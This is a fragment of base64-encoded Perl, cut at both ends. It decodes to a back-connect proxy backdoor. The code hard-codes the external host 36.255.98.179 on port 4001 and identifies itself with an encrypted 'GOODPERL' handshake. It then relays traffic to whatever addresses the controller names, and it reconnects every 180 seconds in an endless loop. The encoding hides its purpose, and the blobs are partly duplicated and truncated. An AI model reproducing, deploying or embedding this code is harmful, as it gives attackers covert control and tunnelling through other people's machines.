Y2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzknOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bn